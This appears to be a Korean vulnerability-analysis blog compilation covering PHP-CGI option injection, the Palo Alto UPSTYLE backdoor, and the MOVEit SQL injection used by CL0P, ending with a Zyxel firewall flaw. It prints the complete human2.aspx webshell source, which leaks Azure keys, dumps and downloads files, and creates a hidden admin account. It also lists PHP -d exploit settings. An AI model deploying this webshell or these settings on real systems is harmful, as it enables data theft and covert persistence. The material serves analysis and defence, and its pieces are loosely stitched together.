- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생
> 1793줄 if(): CGI 사용 여부 확인
> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달
구분
옵션
설명
자주 사용되는 Exploit 옵션
-n
php.ini 파일을 사용하지 않음
-s
소스코드를 하이라이트로 보여줌
-d
php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음 > allow_url_fopen=1: 외부 URL로부터 파일 호출 > allow_url_include=1: 외부 파일 include 허용 > auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행 > auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를 실행 > auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행
[사진 3] PHP 5.4.1 sapi/cgi/cgi_main.c
[사진 3] bee-box 취약점
- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]
> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인
> 해당 백도어를 통해 장치에 추가 명령을 실행
UPSTYLE 백도어
- update[.]py를 사용해 해당 백도어를 유포 > /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포 > 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음
- 동작 과정 ① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송 ② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색 ③ 특정 패턴(명령)을 디코딩 및 실행 ④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성 ⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송 ⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구
※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음
[사진 3] UPSTYLE 백도어 동작 과정
- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드
> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지
> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인
> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취
구분
설명
patch
- update.cron 파일 존재 여부 확인 > 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정 > policy 파일을 다운로드하고, 60초마다 bash를 통해 실행
- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성 > C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1
- python으로 작성된 on-line 리버스 셸
policy v2
- 공격 명령 실행 결과가 포함된 CSS 파일을제거 - 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장 > 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3
- 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4
- GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5
- v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6
- SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함
2.2 취약점 분석 [3]
[사진 4] 취약한 함수
- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행
> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨
[사진 5] SESSID 값 저장
- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장
> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장
> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음
- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능
영향받는 저번 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]
영향받는 버전 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전 - MOVEit Transfer 2023.0.0 (15.0) - MOVEit Transfer 2022.1.x (14.1) - MOVEit Transfer 2022.0.x (14.0) - MOVEit Transfer 2021.1.x (13.1) - MOVEit Transfer 2021.0.x (13.0) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
[사진 2] Shodan 검색 결과
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글
[사진 5] MOVEit 익스플로잇 타임라인
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더
옵션
설명
X-siLock-Step1
-1
- AppendHeader 응답 헤더를 통해Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를GZIP으로 압축하여 반환
-2
-users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2 ("folderid"값지정)
특정 값 지정
-해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
-해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3 ("fileid" 값 지정)
특정 값 지정
-해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
- 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
publicstringRandomString(int length) {
conststring chars = "abcdefghijklmnopqrstuvwxyz0123456789";
returnnewstring(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protectedvoidPage_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
varset = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} elseif (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
varset = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨
- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점
영향받는 제품 ① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1 ② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1 ③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1 ④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1 ※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용
[사진 2] 쇼단 검색 화면
2.1 분석
- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련